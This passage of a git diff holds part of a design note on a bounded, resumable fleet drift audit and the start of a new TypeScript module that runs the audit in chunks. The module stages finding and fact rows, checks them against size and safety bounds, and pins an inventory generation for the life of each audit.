(`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass and reads no caller-supplied object afterward, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. + +Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes. + +Any finding `detail`, composed by the engine or passed through from the pinned inventory generation, passes a non-throwing credential-substring and control-byte gate on write. Unsafe detail is withheld through the fixed `finding detail withheld: unsafe bytes (kind '')` fallback rather than aborting the operation, while the read codec still enforces the control-byte rule and accepts an empty detail. Before either global or per-record staging, the coordinator checks every finding and fact against the staged-row codec's serialized-payload, per-string, depth, and node bounds. An excess fails the operation durably as `emission-bound-exceeded` and releases its pin before the store sees the row. Finding and fact shape, vocabulary, and byte bounds remain enforced on both write and read; after the coordinator's envelope preflight, a write-side codec failure means store or generation corruption, so the advance throws `fleet operation state is malformed`, persists nothing from that call, and leaves the operation running until `abandonFleetAuditOperation()` fails it and releases its pin. + +The bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. Both the resolver and inspection failure sites and the multi-duty `maintenance-stale` composition durably record a fixed template alone; the one-shot `auditFleetDrift()` remains byte-identical to its pre-decomposition behavior and is the only path that ever produces the raw bytes, and only into its in-memory return value, never a durable row. + +An audit start pins exactly one finalized R3 inventory generation before it stages any row and keeps that pin through completion, so a finding page stays interpretable against the exact generation it was computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or operator abandonment releases the pin; a crash between a terminal commit and its pin release leaves a terminal-but-still-pinned window that the next prune or abandonment call closes, release-first, so an orphan pin cannot outlive its operation. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winning record's persisted generation. + +Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. + ### Deployment sentinel Provisioning writes the same stable tag to two independent locations: diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts new file mode 100644 index 00000000..52e0cc49 --- /dev/null +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -0,0 +1,1248 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { structuralBackendSwitchFleetRecordFromUnknown } from './backend-switch.js'; +import { + isDeploymentEnvironment, + isDeploymentTenantTag, +} from './deployment-context.js'; +import type { DriftFinding } from './fleet.js'; +import { + auditDeploymentGapsStage, + auditDeploymentOrphansStage, + auditNamespaceExpectationsStage, + auditNamespaceOrphansStage, + auditOrphanDatabasesStage, + auditOrphanRoutesStage, + auditR2ExpectedStage, + auditR2MissingIdentityStage, + auditR2OrphansStage, + auditRecordStep, + auditRegistrationOrphansStage, + type FleetAuditExpectedBucketEntry, + fleetAuditAuditedRecords, + fleetAuditExpectedBucketsSeed, + fleetAuditExpectedNamespaceIds, + fleetAuditExpectedNamespaceOwnersSeed, + fleetAuditExpectedRoutes, + fleetAuditKnownSets, + fleetAuditLiveByScript, + fleetAuditLiveRoutesByHostname, + fleetAuditRecordsByScript, + fleetAuditRecordsDerivedDuplicateNamespaceIds, + fleetAuditRegisteredDatabaseIds, +} from './fleet.js'; +import { + type DriftFindingRowPayload, + driftFindingRowFromUnknown, + type FleetAuditFactPayload, + type FleetAuditFindingKind, + type FleetAuditProgress, + type FleetAuditStage, + fleetAuditFactRowFromUnknown, + fleetAuditProgressFromUnknown, + nextAuditStage, + withAuditStageOrdinal, + withheldAuditDetail, +} from './fleet-audit-state.js'; +import { readFleetInventoryGeneration } from './fleet-inventory-advance.js'; +import type { FleetInventoryRunStore } from './fleet-inventory-state.js'; +import { + assertFleetOperationId, + classifyFleetOperationToken, + FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + type FleetOperationFailure, + type FleetOperationLease, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + type FleetOperationStore, + type FleetOperationToken, + FleetOperationTokenOperationError, + fleetOperationItemsIntake, + fleetOperationSafeInteger, + fleetOperationStagedRowPayloadFitsEnvelope, + fleetOperationTokenOf, + isDurableAuditDetailSafe, + malformed, + parseFleetOperationToken, + readAllFleetOperationRows, +} from './fleet-operation-state.js'; +import type { + DeploymentSpec, + FleetRecord, + FleetResourceInventory, + FleetStateStore, + ProvisioningBackend, +} from './types.js'; + +/** Default global-stage chunk size; the frozen range is 1..2,000. */ +const DEFAULT_MAX_ITEMS_PER_CALL = 500; +const MIN_MAX_ITEMS_PER_CALL = 1; +const MAX_MAX_ITEMS_PER_CALL = 2_000; +const OTHER_OPERATION_KIND_MESSAGE = (operationId: string): string => + `fleet operation '${operationId}' belongs to the other operation kind`; + +/** One bounded audit step: begin an operation, or continue a persisted one. */ +export type FleetAuditAdvanceAction = + | Readonly<{ + kind: 'start'; + operationId: string; + records: readonly FleetRecord[]; + staleAfterMs: number; + generation?: number; + }> + | Readonly<{ kind: 'continue'; token: unknown }>; + +/** Inputs for one bounded audit advance call. */ +export interface AdvanceFleetAuditOptions { + readonly operationStore: FleetOperationStore; + readonly inventoryStore: FleetInventoryRunStore; + readonly fleetStore: FleetStateStore; + readonly backendFor: (record: FleetRecord) => ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly maintenanceSecretFor: (record: FleetRecord) => string; + readonly action: FleetAuditAdvanceAction; + /** Global-stage chunk size; 1..2,000, default 500. */ + readonly maxItemsPerCall?: number; + /** + * Sampled at most once per start call, immediately before `startOperation`. + * The sample must be a non-negative safe integer representable by `Date`. + * Only a `created` outcome persists the sample as the frozen `auditTimeMs`; + * adopted outcomes discard it, and continue calls never sample it. Defaults + * to `Date.now`. + */ + readonly auditClock?: () => number; + /** Feeds only the re-arm's authority clock (§6.1); default `Date.now`. */ + readonly authorityClock?: () => number; + /** Call-local only; never persisted. */ + readonly signal?: AbortSignal; +} + +/** Authoritative summary of a finalized audit operation. */ +export interface FleetAuditResultRef { + readonly operationId: string; + readonly generation: number; + readonly recordCount: number; + readonly findingCount: number; + readonly finalizedAtMs: number; +} + +/** Authoritative durable outcome after at most one bounded stage chunk. */ +export type FleetAuditAdvanceResult = + | Readonly<{ + status: 'pending'; + token: FleetOperationToken; + stage: FleetAuditStage; + }> + | Readonly<{ + status: 'complete'; + token: FleetOperationToken; + result: FleetAuditResultRef; + }> + | Readonly<{ + status: 'failed'; + token: FleetOperationToken; + failure: FleetOperationFailure; + }>; + +/** Named capability whose absence makes bounded audit work fail closed. */ +export type FleetAuditAdvanceCapability = + | 'operation-store' + | 'generation-read' + | 'generation-pin'; + +const CAPABILITY_MESSAGES: Readonly< + Record +> = Object.freeze({ + 'operation-store': 'fleet audit advance requires an operation store', + 'generation-read': + 'fleet audit advance requires an inventory store that can read finalized generations', + 'generation-pin': + 'fleet audit advance requires an inventory store that can pin finalized generations', +}); + +const CAPABILITY_MEMBERS: Readonly< + Record +> = Object.freeze({ + 'operation-store': Object.freeze([ + 'withAccountOperationLease', + 'readOperationById', + 'readOperationRowsPage', + ]), + 'generation-read': Object.freeze([ + 'readFinalizedGeneration', + 'readRunByOperation', + ]), + 'generation-pin': Object.freeze(['pinGeneration', 'releasePin']), +}); + +/** Fixed configuration refusal for one missing bounded capability. */ +export class FleetAuditAdvanceCapabilityError extends Error { + constructor(readonly capability: FleetAuditAdvanceCapability) { + super(CAPABILITY_MESSAGES[capability]); + this.name = 'FleetAuditAdvanceCapabilityError'; + } +} + +function assertCapability( + target: object, + capability: FleetAuditAdvanceCapability, +): void { + for (const member of CAPABILITY_MEMBERS[capability]) { + if ( + !Reflect.has(target, member) || + typeof (target as unknown as Record)[member] !== + 'function' + ) { + throw new FleetAuditAdvanceCapabilityError(capability); + } + } +} + +function assertMaxItemsPerCall(value: number): void { + if ( + !Number.isSafeInteger(value) || + value < MIN_MAX_ITEMS_PER_CALL || + value > MAX_MAX_ITEMS_PER_CALL + ) { + throw new Error('maxItemsPerCall must be an integer from 1 to 2000'); + } +} + +function resultFromRun(run: FleetOperationRunRecord): FleetAuditAdvanceResult { + const progress = fleetAuditProgressFromUnknown(run.progress); + const token = fleetOperationTokenOf(run); + if (run.state === 'finalized') { + if (run.terminalAtMs === undefined) return malformed(); + return { + status: 'complete', + token, + result: { + operationId: run.operationId, + generation: progress.generation, + recordCount: progress.recordCount, + findingCount: progress.findingCount, + finalizedAtMs: run.terminalAtMs, + }, + }; + } + if (run.state === 'failed') { + if (progress.failure === undefined) return malformed(); + return { + status: 'failed', + token, + failure: progress.failure, + }; + } + return { status: 'pending', token, stage: progress.stage }; +} + +function pinnedBy(operationId: string): string { + return `fleet-audit:${operationId}`; +} + +type IsSubset = [Left] extends [Right] ? true : false; +const DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS: IsSubset< + DriftFinding['kind'], + FleetAuditFindingKind +> = true; +const AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS: IsSubset< + FleetAuditFindingKind, + DriftFinding['kind'] +> = true; + +function fleetAuditFindingKind( + kind: DriftFinding['kind'], +): FleetAuditFindingKind { + void DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS; + void AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS; + return kind; +} + +/** Non-throwing durable write gate (§5.1/§6.4): the bounded path gates; the drain never does. */ +function sanitizedFindingRow(finding: DriftFinding): DriftFindingRowPayload { + const kind = fleetAuditFindingKind(finding.kind); + return { + tenantTag: finding.tenantTag, + environment: finding.environment, + kind, + detail: isDurableAuditDetailSafe(finding.detail) + ? finding.detail + : withheldAuditDetail(kind), + }; +} + +/** + * Returns `undefined` when the payload exceeds the staged-row envelope; the + * caller then fails the operation durably. Throws `malformed()` on corruption. + */ +function stagedAuditRow( + rowKind: 'finding' | 'fact', + ordinal: number, + payload: DriftFindingRowPayload | FleetAuditFactPayload, +): FleetOperationStagedRow | undefined { + if (!fleetOperationStagedRowPayloadFitsEnvelope(rowKind, payload)) { + return undefined; + } + try { + const validated = + rowKind === 'finding' + ? driftFindingRowFromUnknown(payload) + : fleetAuditFactRowFromUnknown(payload); + return { + rowKind, + ordinal, + payload: validated as unknown as Record, + }; + } catch { + return malformed(); + } +} + +interface GlobalStageChunk { + readonly findings: readonly DriftFinding[]; + readonly stage: FleetAuditStage; +} + +type GlobalAuditStage = Exclude< + FleetAuditStage, + { step: 'per-record' | 'finalize' } +>; +type GlobalAuditStep = GlobalAuditStage['step']; + +interface GlobalStageContext { + readonly inventory: FleetResourceInventory; + readonly auditedRecords: readonly FleetRecord[]; + readonly known: ReturnType; + readonly recordsByScript: ReturnType; +} + +function chunked( + stage: GlobalAuditStage, + maxItemsPerCall: number, + source: readonly T[], + emit: (slice: readonly T[], ordinal: number) => readonly DriftFinding[], +): GlobalStageChunk { + const ordinal = + 'rowOrdinal' in stage + ? stage.rowOrdinal + : 'auditedOrdinal' in stage + ? stage.auditedOrdinal + : stage.expectedOrdinal; + if ( + ordinal > source.length || + (source.length > 0 && ordinal === source.length) + ) { + return malformed(); + } + const slice = source.slice(ordinal, ordinal + maxItemsPerCall); + const nextOrdinal = ordinal + slice.length; + const exhausted = nextOrdinal >= source.length; + return { + findings: emit(slice, ordinal), + stage: exhausted + ? nextAuditStage(stage, true) + : withAuditStageOrdinal(stage.step, nextOrdinal), + }; +} + +interface GlobalStageDescriptor { + readonly advance: ( + stage: GlobalAuditStage, + maxItemsPerCall: number, + context: GlobalStageContext, + ) => GlobalStageChunk; +} + +function globalStageDescriptor( + source: (context: GlobalStageContext) => readonly T[], + emit: ( + slice: readonly T[], + context: GlobalStageContext, + ordinal: number, + ) => readonly DriftFinding[], +): GlobalStageDescriptor { + return { + advance: (stage, maxItemsPerCall, context) => + chunked(stage, maxItemsPerCall, source(context), (slice, ordinal) => + emit(slice, context, ordinal), + ), + }; +} + +const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ + 'provider-findings': globalStageDescriptor( + (context) => context.inventory.findings, + (slice) => slice, + ), + 'registration-orphans': globalStageDescriptor( + (context) => context.inventory.scriptRegistrations, + (slice, context) => + auditRegistrationOrphansStage({ + scriptRegistrations: slice, + deployments: context.inventory.deployments, + recordsByScript: context.recordsByScript, + knownScriptKeys: context.known.knownScriptKeys, + }), + ), + 'deployment-orphans': globalStageDescriptor( + (context) => context.inventory.deployments, + (slice, context) => + auditDeploymentOrphansStage({ + deployments: slice, + recordsByScript: context.recordsByScript, + knownScriptKeys: context.known.knownScriptKeys, + }), + ), + 'deployment-gaps': globalStageDescriptor( + (context) => context.auditedRecords, + (slice, context) => + auditDeploymentGapsStage({ + records: slice, + liveByScript: fleetAuditLiveByScript(context.inventory.deployments), + scriptRegistrations: context.inventory.scriptRegistrations, + }), + ), + 'orphan-databases': globalStageDescriptor( + (context) => context.inventory.databaseIds, + (slice, context) => + auditOrphanDatabasesStage({ + databaseIds: slice, + registeredDatabaseIds: fleetAuditRegisteredDatabaseIds( + context.auditedRecords, + ), + knownDatabaseIds: context.known.knownDatabaseIds, + }), + ), + 'orphan-routes': globalStageDescriptor( + (context) => context.inventory.routes, + (slice, context) => + auditOrphanRoutesStage({ + routes: slice, + expectedRoutes: fleetAuditExpectedRoutes(context.auditedRecords), + knownRouteKeys: context.known.knownRouteKeys, + }), + ), + 'namespace-orphans': globalStageDescriptor( + (context) => context.inventory.namespaceIds, + (slice, context) => + auditNamespaceOrphansStage({ + namespaceIds: slice, + expectedNamespaceIds: fleetAuditExpectedNamespaceIds( + context.auditedRecords, + ), + knownNamespaceIds: context.known.knownNamespaceIds, + }), + ), + 'namespace-expectations': globalStageDescriptor( + (context) => context.auditedRecords, + (slice, context, ordinal) => + auditNamespaceExpectationsStage({ + records: slice, + inventoryNamespaceIds: context.inventory.namespaceIds, + expectedNamespaceOwners: fleetAuditExpectedNamespaceOwnersSeed( + context.auditedRecords.slice(0, ordinal), + ), + }), + ), + 'r2-expected': globalStageDescriptor( + (context) => context.auditedRecords, + (slice, context, ordinal) => + auditR2ExpectedStage({ + records: slice, + expectedBuckets: fleetAuditExpectedBucketsSeed( + context.auditedRecords.slice(0, ordinal), + ), + }), + ), + 'r2-orphans': globalStageDescriptor( + (context) => context.inventory.r2Buckets ?? [], + (slice, context) => + auditR2OrphansStage({ + r2Buckets: slice, + expectedBuckets: fleetAuditExpectedBucketsSeed(context.auditedRecords), + knownBucketNames: context.known.knownBucketNames, + }), + ), + 'r2-missing-identity': globalStageDescriptor( + (context): readonly FleetAuditExpectedBucketEntry[] => [ + ...fleetAuditExpectedBucketsSeed(context.auditedRecords).values(), + ], + (slice, context) => + auditR2MissingIdentityStage({ + expectedBucketEntries: slice, + r2Buckets: context.inventory.r2Buckets ?? [], + }), + ), +} satisfies Readonly>); + +/** Advances one bounded chunk of the current global stage. */ +function advanceGlobalStage( + stage: GlobalAuditStage, + maxItemsPerCall: number, + inventory: FleetResourceInventory, + auditedRecords: readonly FleetRecord[], + known: ReturnType, + recordsByScript: ReturnType, +): GlobalStageChunk { + return GLOBAL_STAGE_DESCRIPTORS[stage.step].advance(stage, maxItemsPerCall, { + inventory, + auditedRecords, + known, + recordsByScript, + }); +} + +function buildInitialAuditRunRecord( + input: Readonly<{ + operationId: string; + staleAfterMs: number; + recordCount: number; + }>, + generation: number, + auditTimeMs: number, +): FleetOperationRunRecord { + const progress: FleetAuditProgress = { + kind: 'audit', + revision: 0, + stage: { step: 'provider-findings', rowOrdinal: 0 }, + generation, + auditTimeMs, + staleAfterMs: input.staleAfterMs, + recordCount: input.recordCount, + findingCount: 0, + factCount: 0, + }; + return { + version: 1, + operationId: input.operationId, + kind: 'audit', + state: 'running', + progress, + updatedAt: new Date(auditTimeMs).toISOString(), + }; +} + +async function failAudit( + options: AdvanceFleetAuditOptions, + lease: FleetOperationLease, + run: FleetOperationRunRecord, + progress: FleetAuditProgress, + failure: FleetOperationFailure, +): Promise { + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + failure, + }; + await lease.failOperation({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + state: 'failed', + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + }); + await options.inventoryStore.releasePin({ + generation: progress.generation, + pinnedBy: pinnedBy(run.operationId), + }); + return resultFromRun({ + ...run, + state: 'failed', + progress: newProgress, + }); +} + +async function finalizeAudit( + lease: FleetOperationLease, + run: FleetOperationRunRecord, + progress: FleetAuditProgress, +): Promise { + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + }; + const finalized = await lease.finalizeOperation({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + state: 'finalized', + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + expectedRowCounts: { + finding: progress.findingCount, + record: progress.recordCount, + fact: progress.factCount, + }, + }); + return resultFromRun(finalized); +} + +async function advancePerRecordChunk( + options: AdvanceFleetAuditOptions, + lease: FleetOperationLease, + run: FleetOperationRunRecord, + progress: FleetAuditProgress, + inventory: FleetResourceInventory, + records: readonly FleetRecord[], + auditedRecords: readonly FleetRecord[], +): Promise { + const stage = progress.stage as Extract< + FleetAuditStage, + { step: 'per-record' } + >; + if (stage.recordOrdinal > records.length) return malformed(); + if (stage.recordOrdinal === records.length) { + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + stage: nextAuditStage(stage, true), + }; + const committed = await lease.commitProgress({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + }); + const committedProgress = fleetAuditProgressFromUnknown(committed.progress); + return { + status: 'pending', + token: fleetOperationTokenOf(committed), + stage: committedProgress.stage, + }; + } + const record = records[stage.recordOrdinal] as FleetRecord; + const recordsByScript = fleetAuditRecordsByScript(auditedRecords); + const liveByScript = fleetAuditLiveByScript(inventory.deployments); + const liveRoutesByHostname = fleetAuditLiveRoutesByHostname(inventory.routes); + const recordByKey = new Map( + records.map((entry) => [`${entry.tenantTag}:${entry.environment}`, entry]), + ); + + const factRows = await readAllFleetOperationRows( + options.operationStore, + run.operationId, + 'fact', + ); + const facts = factRows.map((row) => + fleetAuditFactRowFromUnknown(row.payload), + ); + const databases = new Map(); + const liveNamespaceOwners = new Map(); + const duplicateNamespaceIds = new Set( + fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords), + ); + for (const fact of facts) { + if (fact.factKind === 'database-owner') { + const owner = recordByKey.get(`${fact.tenantTag}:${fact.environment}`); + if (owner) databases.set(fact.key, owner); + } else if (fact.factKind === 'namespace-owner') { + const owner = recordByKey.get(`${fact.tenantTag}:${fact.environment}`); + if (owner) liveNamespaceOwners.set(fact.key, owner); + } else { + duplicateNamespaceIds.add(fact.key); + } + } + const databasesBefore = new Set(databases.keys()); + const namespaceOwnersBefore = new Set(liveNamespaceOwners.keys()); + const duplicatesBefore = new Set(duplicateNamespaceIds); + + if (options.signal?.aborted) options.signal.throwIfAborted(); + const result = await auditRecordStep({ + record, + recordsByScript, + liveByScript, + liveRoutesByHostname, + inventoryDatabaseIds: inventory.databaseIds, + hostRoutingKvId: inventory.hostRoutingKvId, + databases, + liveNamespaceOwners, + duplicateNamespaceIds, + backendFor: options.backendFor, + specFor: options.specFor, + maintenanceSecretFor: options.maintenanceSecretFor, + store: options.fleetStore, + staleAfterMs: progress.staleAfterMs, + auditNow: progress.auditTimeMs, + authorityNowProvider: options.authorityClock ?? (() => Date.now()), + }); + + const newFacts: FleetOperationStagedRow[] = []; + let factOrdinal = progress.factCount; + for (const [key, owner] of databases) { + if (!databasesBefore.has(key)) { + const payload: FleetAuditFactPayload = { + factKind: 'database-owner', + key, + tenantTag: owner.tenantTag, + environment: owner.environment, + }; + const row = stagedAuditRow('fact', factOrdinal++, payload); + if (!row) { + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + itemOrdinal: stage.recordOrdinal, + }); + } + newFacts.push(row); + } + } + for (const [key, owner] of liveNamespaceOwners) { + if (!namespaceOwnersBefore.has(key)) { + const payload: FleetAuditFactPayload = { + factKind: 'namespace-owner', + key, + tenantTag: owner.tenantTag, + environment: owner.environment, + }; + const row = stagedAuditRow('fact', factOrdinal++, payload); + if (!row) { + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + itemOrdinal: stage.recordOrdinal, + }); + } + newFacts.push(row); + } + } + for (const key of duplicateNamespaceIds) { + if (!duplicatesBefore.has(key)) { + const payload: FleetAuditFactPayload = { + factKind: 'duplicate-namespace', + key, + }; + const row = stagedAuditRow('fact', factOrdinal++, payload); + if (!row) { + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + itemOrdinal: stage.recordOrdinal, + }); + } + newFacts.push(row); + } + } + + const findingRows: FleetOperationStagedRow[] = []; + for (const [index, finding] of result.findings.entries()) { + const row = stagedAuditRow( + 'finding', + progress.findingCount + index, + sanitizedFindingRow(finding), + ); + if (!row) { + // Unreachable: sanitizedFindingRow caps every detail at 4 KiB and strips + // controls before measurement, while record identifiers are grammar-bounded. + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + itemOrdinal: stage.recordOrdinal, + }); + } + findingRows.push(row); + } + + // §5.5 DETECTION MECHANISM: the coordinator computes the batch-budget + // overflow itself and never lets the store's own guard fire. + if ( + findingRows.length + newFacts.length + 1 > + FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + itemOrdinal: stage.recordOrdinal, + }); + } + + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + stage: { step: 'per-record', recordOrdinal: stage.recordOrdinal + 1 }, + findingCount: progress.findingCount + findingRows.length, + factCount: progress.factCount + newFacts.length, + }; + const committed = await lease.commitProgress({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + rows: [...findingRows, ...newFacts], + expectedRowWatermarks: { + finding: newProgress.findingCount, + fact: newProgress.factCount, + }, + }); + const committedProgress = fleetAuditProgressFromUnknown(committed.progress); + return { + status: 'pending', + token: fleetOperationTokenOf(committed), + stage: committedProgress.stage, + }; +} + +async function advanceOneChunk( + options: AdvanceFleetAuditOptions, + lease: FleetOperationLease, + run: FleetOperationRunRecord, + maxItemsPerCall: number, +): Promise { + await lease.assertOwned(); + const progress = fleetAuditProgressFromUnknown(run.progress); + if (progress.stage.step === 'finalize') { + return finalizeAudit(lease, run, progress); + } + let inventory: FleetResourceInventory; + try { + inventory = await readFleetInventoryGeneration( + options.inventoryStore, + progress.generation, + ); + } catch { + return failAudit(options, lease, run, progress, { + reason: 'generation-unavailable', + }); + } + const recordRows = await readAllFleetOperationRows( + options.operationStore, + run.operationId, + 'record', + ); + let records: readonly FleetRecord[]; + try { + records = recordRows.map( + (row) => + structuralBackendSwitchFleetRecordFromUnknown(row.payload).record, + ); + } catch { + return malformed(); + } + const auditedRecords = fleetAuditAuditedRecords(records); + + if (progress.stage.step === 'per-record') { + return advancePerRecordChunk( + options, + lease, + run, + progress, + inventory, + records, + auditedRecords, + ); + } + + const known = fleetAuditKnownSets(records); + const recordsByScript = fleetAuditRecordsByScript(auditedRecords); + const chunk = advanceGlobalStage( + progress.stage, + maxItemsPerCall, + inventory, + auditedRecords, + known, + recordsByScript, + ); + const findingRows: FleetOperationStagedRow[] = []; + for (const [index, finding] of chunk.findings.entries()) { + const row = stagedAuditRow( + 'finding', + progress.findingCount + index, + sanitizedFindingRow(finding), + ); + if (!row) { + // A global finding ordinal can exceed FLEET_OPERATION_ITEM_BOUND, which + // fleetOperationFailureFromUnknown rejects as an itemOrdinal. + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + }); + } + findingRows.push(row); + } + await lease.stageRows({ + operationId: run.operationId, + expectedRevision: progress.revision, + rows: findingRows, + }); + const newFindingCount = progress.findingCount + findingRows.length; + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + stage: chunk.stage, + findingCount: newFindingCount, + }; + const committed = await lease.commitProgress({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + expectedRowWatermarks: { finding: newFindingCount }, + }); + const committedProgress = fleetAuditProgressFromUnknown(committed.progress); + return { + status: 'pending', + token: fleetOperationTokenOf(committed), + stage: committedProgress.stage, + }; +} + +async function startAudit( + options: AdvanceFleetAuditOptions, + action: Extract, +): Promise { + const operationId = action.operationId; + assertFleetOperationId(operationId); + const staleAfterMs = action.staleAfterMs; + if (!Number.isSafeInteger(staleAfterMs) || staleAfterMs < 1) { + throw new Error('staleAfterMs must be a positive safe integer'); + } + const requestedGeneration = action.generation; + if ( + requestedGeneration !== undefined && + (!Number.isSafeInteger(requestedGeneration) || requestedGeneration < 1) + ) { + throw new Error('generation must be a positive safe integer'); + } + const inputRecords = action.records; + if (inputRecords.length > FLEET_OPERATION_ITEM_BOUND) { + throw new Error( + `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, + ); + } + if ( + inputRecords.some((record) => record === null || typeof record !== 'object') + ) { + throw new Error('fleet audit record exceeds the intake structure bounds'); + } + const intake = fleetOperationItemsIntake({ + envelope: { + staleAfterMs, + generation: requestedGeneration ?? null, + }, + items: inputRecords, + itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + }); + if ('reason' in intake) { + const { reason } = intake; + switch (reason) { + case 'item-count': + // The coordinator count check precedes the grammar check, so this arm + // is unreachable here; the helper retains it for other callers. + throw new Error( + `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, + ); + case 'item-structure': + throw new Error( + 'fleet audit record exceeds the intake structure bounds', + ); + case 'item-bytes': + throw new Error('fleet audit record exceeds the staged row byte bound'); + case 'aggregate-bytes': + throw new Error( + 'fleet audit start canonical intake exceeds the intake byte bound', + ); + default: { + const exhaustive: never = reason; + return exhaustive; + } + } + } + const intakeDigest = intake.digest; + const records = intake.items; + if ( + !records.every((record): record is FleetRecord => { + if (record === null || typeof record !== 'object') return false; + const candidate = record as Record; + return ( + typeof candidate.tenantTag === 'string' && + isDeploymentTenantTag(candidate.tenantTag) && + typeof candidate.environment === 'string' && + isDeploymentEnvironment(candidate.environment) + ); + }) + ) { + throw new Error( + 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', + ); + } + return options.operationStore.withAccountOperationLease( + 'audit', + async (lease) => { + await lease.assertOwned(); + const probed = + await options.operationStore.readOperationById(operationId); + let generation: number; + if (probed) { + if (probed.kind !== 'audit') { + throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + } + generation = fleetAuditProgressFromUnknown(probed.progress).generation; + } else { + const resolved = + requestedGeneration ?? + (await options.inventoryStore.latestFinalizedGeneration()) + ?.generation; + if (resolved === undefined) { + throw new Error( + 'no finalized fleet inventory generation is available', + ); + } + generation = resolved; + } + const auditTimeMs = (options.auditClock ?? Date.now)(); + if ( + !fleetOperationSafeInteger(auditTimeMs) || + Number.isNaN(new Date(auditTimeMs).getTime()) + ) { + throw new Error( + 'fleet audit auditClock sample must be a non-negative safe integer representable by Date', + ); + } + const initialRunRecord = buildInitialAuditRunRecord( + { + operationId, + staleAfterMs, + recordCount: records.length, + }, + generation, + auditTimeMs, + ); + // Pre-persistence progress gate for coordinator-built state. + fleetAuditProgressFromUnknown(initialRunRecord.progress); + const started = await lease.startOperation({ + operationId, + kind: 'audit', + runRecord: initialRunRecord, + intakeDigest, + }); + if (started.outcome === 'adopted-terminal') { + return resultFromRun(started.record); + } + const record = started.record; + const recordProgress = fleetAuditProgressFromUnknown(record.progress); + const pinGenerationValue = + started.outcome === 'adopted-running' + ? 